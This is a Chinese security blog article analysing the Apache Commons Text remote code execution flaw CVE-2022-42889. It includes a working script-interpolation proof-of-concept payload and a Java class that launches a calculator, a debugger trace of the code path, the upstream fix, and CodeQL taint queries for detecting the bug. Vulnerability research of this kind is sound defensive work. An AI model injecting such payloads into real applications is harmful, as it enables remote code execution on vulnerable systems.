freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

CVE-2022-42889 Apache Commons Text RCE 漏洞分析与 CodeQL
Drunkbaby 2024-02-23 09:46:17 155149

0x01 前言

CodeQL 实践

0x02 漏洞相关信息

漏洞描述

Apache Commons Text 执行变量插值 (variable interpolation), 允许动态评估和扩展属性。插值的标准格式是"${prefix:name}",其中 "prefix" 用于查找定位执行插值 org.apache.commons.text.lookup.StringLookup的实例。从 1.5 版到 1.9 版,默认的 Lookup 实例集包括可能导致任意代码执行或与远程服务器联系的插值器。

  • 看到这个漏洞描述其实就是 JavaScriptEngine 没得跑了

漏洞影响版本

1.5 <= Apache Commons Text <= 1.9

0x03 漏洞基础

Apache Commons Text

Apache Commons Text 该组件是一款处理字符串和文本块的开源项目,简单来说,除了核心 Java 提供的功能外,Apache Commons 文本库还包含了许多有用的实用程序方法,用于处理字符串。通常在开发过程中用于占位符和动态获取属性的字符串编辑工具包,常用于数据库查询前的语句替换,或者页面输出时的替换。

0x04 环境搭建

pom.xml

<dependency>  
  <groupId>org.apache.commons</groupId>  
  <artifactId>commons-text</artifactId>  
  <version>1.9</version>  
</dependency>

0x05 漏洞复现与分析

漏洞复现

按照官方文档的说法,https://commons.apache.org/proper/commons-text/userguide.html

一个简单的 demo 使用应该如下

final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
final String text = interpolator.replace(
    "Base64 Decoder:        ${base64Decoder:SGVsbG9Xb3JsZCE=}\n" +
    "Base64 Encoder:        ${base64Encoder:HelloWorld!}\n" +
    "Java Constant:         ${const:java.awt.event.KeyEvent.VK_ESCAPE}\n" +
    "Date:                  ${date:yyyy-MM-dd}\n" +
    "Environment Variable:  ${env:USERNAME}\n" +
    "File Content:          ${file:UTF-8:src/test/resources/document.properties}\n" +
    "Java:                  ${java:version}\n" +
    "Localhost:             ${localhost:canonical-name}\n" +
    "Properties File:       ${properties:src/test/resources/document.properties::mykey}\n" +
    "Resource Bundle:       ${resourceBundle:org.apache.commons.text.example.testResourceBundleLookup:mykey}\n" +
    "System Property:       ${sys:user.dir}\n" +
    "URL Decoder:           ${urlDecoder:Hello%20World%21}\n" +
    "URL Encoder:           ${urlEncoder:Hello World!}\n" +
    "XML XPath:             ${xml:src/test/resources/document.xml:/root/path/to/node}\n"
);

根据官方文档的说法,这里还支持一些其他关键字,比如dnsurlscript,对应的类是ScriptStringLookup,进去看看

image

其中比较明显地能够看出来该如何构造语句

PoC

${script:js:new java.lang.ProcessBuilder("Calc").start()}

结合整体

import org.apache.commons.text.StringSubstitutor;  
  
public class EXP {  
    public static void main(String[] args) {  
  
        StringSubstitutor interpolator = StringSubstitutor.createInterpolator();  
        String payload = "${script:js:new java.lang.ProcessBuilder(\"calc\").start()}";  
        interpolator.replace(payload);  
    }  
}

image

漏洞分析

这里主要是两个点,一为如何到JavaScript Engine,二则是 Commons Text 如何调用JavaScript Engine

下断点调试一下,先看看StringSubstitutor.createInterpolator()

image

StringSubstitutor类本质上就是一个字符串替换器,这里调用了对应的构造函数,创建了一些规则。跟进replace()方法

image

往下,跟进substitute()方法,最后调用至org.apache.commons.text.StringSubstitutor#substitute方法

image

最终的结果是拿到varName,也就是去掉首尾的后的内容。往下走,程序调用resolveVariable()方法,跟进。

image

往下到org.apache.commons.text.lookup.ScriptStringLookup#lookup方法,在这之前处理了我们的 payload,对:前后的内容进行Split操作,再进行判断。接着就是javascript引擎被实例化了出来。跟进scriptEngine.eval()方法

image

后续就是调用ScriptEngineManager命令执行的代码,不再展开。

0x06 漏洞修复

在 1.11.0 版本做了 patch

移除了不安全的插值器 script、 dns和 url

image

0x07 利用 CodeQL 挖掘 CVE-2022-42889

真的是踩大坑了

数据库

首先是数据库的构造上,先来看一下我的错误案例吧

codeql database create DB_DIR --language=java --command='mvn clean install'

这样子构造的数据库是不行的。。。因为你最后去做 codeql 查询的时候,很多库里面的类都不会被加载进来,只有在上下文中的类会有被加载,其实根本没用

我这里的做法是,把所有的包都提出来(包括 JDK 包,以及漏洞包),提出来之后反编译,接着用 extract-java 构造 codeql 数据库。

这样子的查询才是有效的。。。。。。

CodeQL 基础 Sink&Source

首先是 sink,其实是比较简单的,先来看漏洞触发点

org.apache.commons.text.lookup.ScriptStringLookup#lookup

image

所以 sink 应该是javax.script.ScriptEngine#lookup

  • 构造 Sink

class ScriptEngineEval extends DataFlow::Node {
  ScriptEngineEval() {
    exists(MethodAccess ma |
      ma.getCallee().hasName("eval") and
      ma.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.script", "ScriptEngine") and
      this.asExpr() = ma.getArgument(0)
    )
  }
}

image

接下来是 source,由于我们并不是代码审计类型的项目,大概率是不能直接 RemoteFlowSource 直接这样子定义的,所以需要定义一下,可以将该库所有公有类的字符串类型公有方法参数作为 Source 点

  • 构造 Source

class PublicMethodParameter extends DataFlow::Node {
  PublicMethodParameter() {
    exists(Method m, Parameter p |
      m.getDeclaringType().isPublic() and
      m.isPublic() and
      p = m.getAParameter() and
      p.getType().hasName("String") and
      this.asParameter() = p
    )
  }
}

这样子就找到了,原本看涙笑师傅的博客里面有写需要 PartialPathGraph 来 Debug,可能是因为 CodeQL 版本不同导致的。最终的 ql 语句

/**
 * @kind path-problem
 */

import java
import semmle.code.java.dataflow.DataFlow
import DataFlow::PathGraph 
import semmle.code.java.dataflow.TaintTracking 

class Config extends TaintTracking::Configuration {
  Config() { this = "config" }

  override predicate isSource(DataFlow::Node source) {source instanceof PublicMethodParameter}

  override predicate isSink(DataFlow::Node sink) { sink instanceof ScriptEngineEval }
}

class ScriptEngineEval extends DataFlow::Node {
  ScriptEngineEval() {
    exists(MethodAccess ma |
      ma.getCallee().hasName("eval") and
      ma.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.script", "ScriptEngine") and
      this.asExpr() = ma.getArgument(0)
    )
  }
}

class PublicMethodParameter extends DataFlow::Node {
  PublicMethodParameter() {
    exists(Method m, Parameter p |
      m.getDeclaringType().isPublic() and
      m.isPublic() and
      p = m.getAParameter() and
      p.getType().hasName("String") and
      this.asParameter() = p
    )
  }
}

from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "path"

image

0x08 Ref

https://l3yx.github.io/2022/12/17/%E7%94%A8CodeQL%E5%88%86%E6%9E%90%E6%BC%8F%E6%B4%9E-CVE-2022-42889/

# web安全 # 漏洞分析 # CVE # CodeQL
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Drunkbaby 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Drunkbaby LV.5
https://github.com/Drun1baby/
  • 39 文章数
  • 236 关注者
CVE-2024-22243 Spring Web UriComponentsBuilder URL 解析不当漏洞分析
2024-02-26
CVE-2023-22527 Confluence 未授权 SSTI RCE 漏洞分析
2024-02-22
CVE-2024-23897 Jenkins 未授权任意文件读取漏洞分析
2024-02-22
文章目录